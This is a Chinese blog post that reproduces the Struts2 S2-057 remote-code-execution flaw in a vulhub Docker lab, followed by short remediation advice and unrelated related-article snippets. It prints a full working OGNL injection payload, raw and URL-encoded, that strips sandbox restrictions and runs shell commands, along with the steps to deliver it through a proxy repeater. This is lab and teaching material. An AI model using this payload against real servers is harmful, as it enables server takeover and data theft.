Struts2框架漏洞(附漏洞修复方法)

news2024/9/27 23:28:06

       Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

       Struts 2在2007年7月23日发布的第一个Struts 2漏洞S2-001。
       Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。

漏洞复现

首先搭建环境,搭建命令如下

cd vulhub/struts2/s2-057
docker-compose up -d

搭建完成后去访问靶机的/struts2-showcase目录,出现如下页面后,在url后面再拼接上/${(123+123)}/actionChain1.action后按下回车,即可出现我们所url中两个123相加的结果

这证明这个网页有代码执行漏洞,所以我们构造exp并编码后将其替换,exp内容与url编码后内容如下

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}


$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

开启抓包后重新访问此页面,抓到包后先发送到重放器,在抓到的数据包中,将上面构造的经过编码的exp替换请求头中的246,并将后面的/register2.action替换为/actionChain1.action

点击发送后,右边显示了302,且返回包中出现了root,说明成功执行了我们构造的exp中的whoami命令

漏洞修复

1.Struts2 更新到最新版本

2.应用官方发布的安全补丁

3.过滤恶意请求头

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988624.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

dbeaver设置字体大小

1、【窗口】-【首选项】 2、【外观】-【颜色-字体】-【Dbeaver Fonts】-【Monospace font】 双击或者右边编辑都可以打开设置

【Linux】—— 僵尸进程、孤儿进程

🌏博客主页:PH_modest的博客主页 🚩当前专栏:Linux跬步积累 💌其他专栏: 🔴 每日一题 🟡 C跬步积累 🟢 C语言跬步积累 🌈座右铭:广积粮&#xff0…

计网学习(一)——计算机网络概述

一、计算机网络概述 Internet翻译:因特网(未得到普及)>互联网互联网基本特点:连通性和资源共享计算机网络:有若干结点和连接这些节点的链路组成网络把许多计算机连接在一起,而互连网则把许多网络通过路…

数学建模--智能算法之免疫算法

目录 基本原理 应用实例 代码示例 总结 免疫算法在免疫系统研究中的应用和进展是什么? 如何量化评估免疫算法在不同优化问题中的性能和效率? 免疫算法与其他智能优化算法(如遗传算法、粒子群优化)相比有哪些独特优势和局限性…

“tcp控制协议”的理解

情景解释: 1.过程: 在用户进行网络间通信时,不管是客户端还是服务端,都会有两个缓冲区——发送缓冲区和接受缓冲区。 通过4个缓冲区进行数据交流。 用户通过write()将数据发送到他的发送缓冲区中,再传输到服务端的…

遥感类SCI推荐合集,潜力大+易投,版面有限!

关注GZH【欧亚科睿学术】,第一时间了解期刊最新动态! 🔥 🔥 🔥 🔥 遥感类SCI期刊合集 1. 农林科学类(中科院1区TOP,领域高权威) 【期刊简介】IF:4.0-5.0&am…

Linux源码阅读笔记18-插入模型及删除模块操作

基础知识 模块是一种向Linux内核添加设备驱动程序、文件系统及其他组件的有效方法,不需要编译新内核 优点 通过使用模块,内核发布者能够预先编译大量驱动程序,而不会致使内核映像的尺寸发生膨胀。内核开发者可以将实验性的代码打包到模块中&a…

达梦数据库的系统视图v$large_mem_sqls

达梦数据库的系统视图v$large_mem_sqls 达梦数据库的V$LARGE_MEM_SQLS视图提供了最近1000条使用大内存的SQL语句信息。一条SQL语句如果使用的内存值超过ini参数LARGE_MEM_THRESHOLD,就认为使用了大内存。这个视图帮助用户监控和分析哪些SQL语句在执行时占用了大量内…

【python】Python中位运算算法详细解析与应用实战

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,…

torch量化接口深度解读-eager模式-fx模式

一、定义 接口总结量化模式解读 二、实现 接口总结 1. PyTorch提供了三种不同的量化模式:Eager模式量化、FX图模式量化(维护)和PyTorch 2导出量化。 2. Eager Mode Quantization是一个测试版功能。用户需要进行融合,并手动指定量…

2024年AWS云服务器选择哪个区域最好?

在选择2024年AWS云服务器区域时,您需要根据您的业务需求、目标用户群体的位置、数据合规性要求、延迟需求以及成本预算等因素综合考虑。以下是九河云针对不同需求的建议: 北美区域 优势:北美区域,尤其是弗吉尼亚北部&#xff0c…

工业和信息化部明确四方面举措优化信息通信行业营商环境

根据工业和信息化部6日发布的消息,该部门已正式下发《关于创新信息通信行业管理 优化营商环境的意见》。 此意见旨在通过四项主要措施优化行业管理制度和手段,以促进信息通信行业的高质量发展。 这些措施包括:持续改进高效、开放、统一的准…

vue项目部署在子路径中前端配置

vue.config.JS router/index.js或者是man.js

Docker-数据卷指令

数据卷挂载修改内容

Java批量查询CSDN质量分

文章目录 前言代码实现pom.xml实体类工具类质量分查询 效果开源仓库 前言 在CSDN平台申请“专家博主”、“优质创作者”等称号的时候,往往会对博客的质量分有一定的要求,这时候我们需要审视以往所发表的博客,找出质量分较低的博客&#xff0…

春秋云境 | 文件上传 | CVE-2022-23880

靶标介绍 taoCMS v3.0.2 文件管理处存在任意文件上传漏洞,攻击者可执行任意代码 开启靶场 点击下面的“管理” 发现是一个登录页面 右击点检查 发现默认账号和密码,登录进去的页面如图所示 创建一句话木马 找到了文件管理功能,新建一个 sh…

正则表达式测试工具

前言 正则表达式测试工具可供您输入正则表达式和测试文本,立即查看匹配结果. 下面是离线的HTML文件,同样可以提供相同的服务. 目录 使用说明 HTML代码 正则表达式的编写经验和方法 总结 使用说明 1.先将HTML代码存储成.html为后缀的文件; 2.然后用浏览器打开这个…

企业需要了解的平滑替代FTP 的文件传输软件知识

虽然传统的FTP曾经是行业的标准,但随着技术的发展,其局限性逐渐出现,促使各行业寻求更高效、更安全的解决方案。然而,面对市场上许多替代FTP软件,测试也消耗了人力和物质资源。今天,小编将分析市场上企业寻…

前端性能优化-图片优化

前言 本文总结 web 性能优化中图片优化的相关知识点。 一些背景知识 有损压缩(Lossy Compression) 有损压缩是一种图像压缩方法,通过牺牲一些图像细节以减小文件大小。JPEG 是一种常见的有损压缩图像格式。在压缩过程中,一些数…

火柴游戏(match)-2022蜀山区赛初中组第3题

题目描述 锤锤和柯西在玩火柴棒游戏,他们用火柴棒拼成不同的数字。规则如下: 这是火柴所形成10个数字的方式,每个数字所需的火柴数量不一样。现在给两人每人发N根火柴棒。锤锤要用所有火柴棒摆出其所能摆出最小的数,而柯西则需要…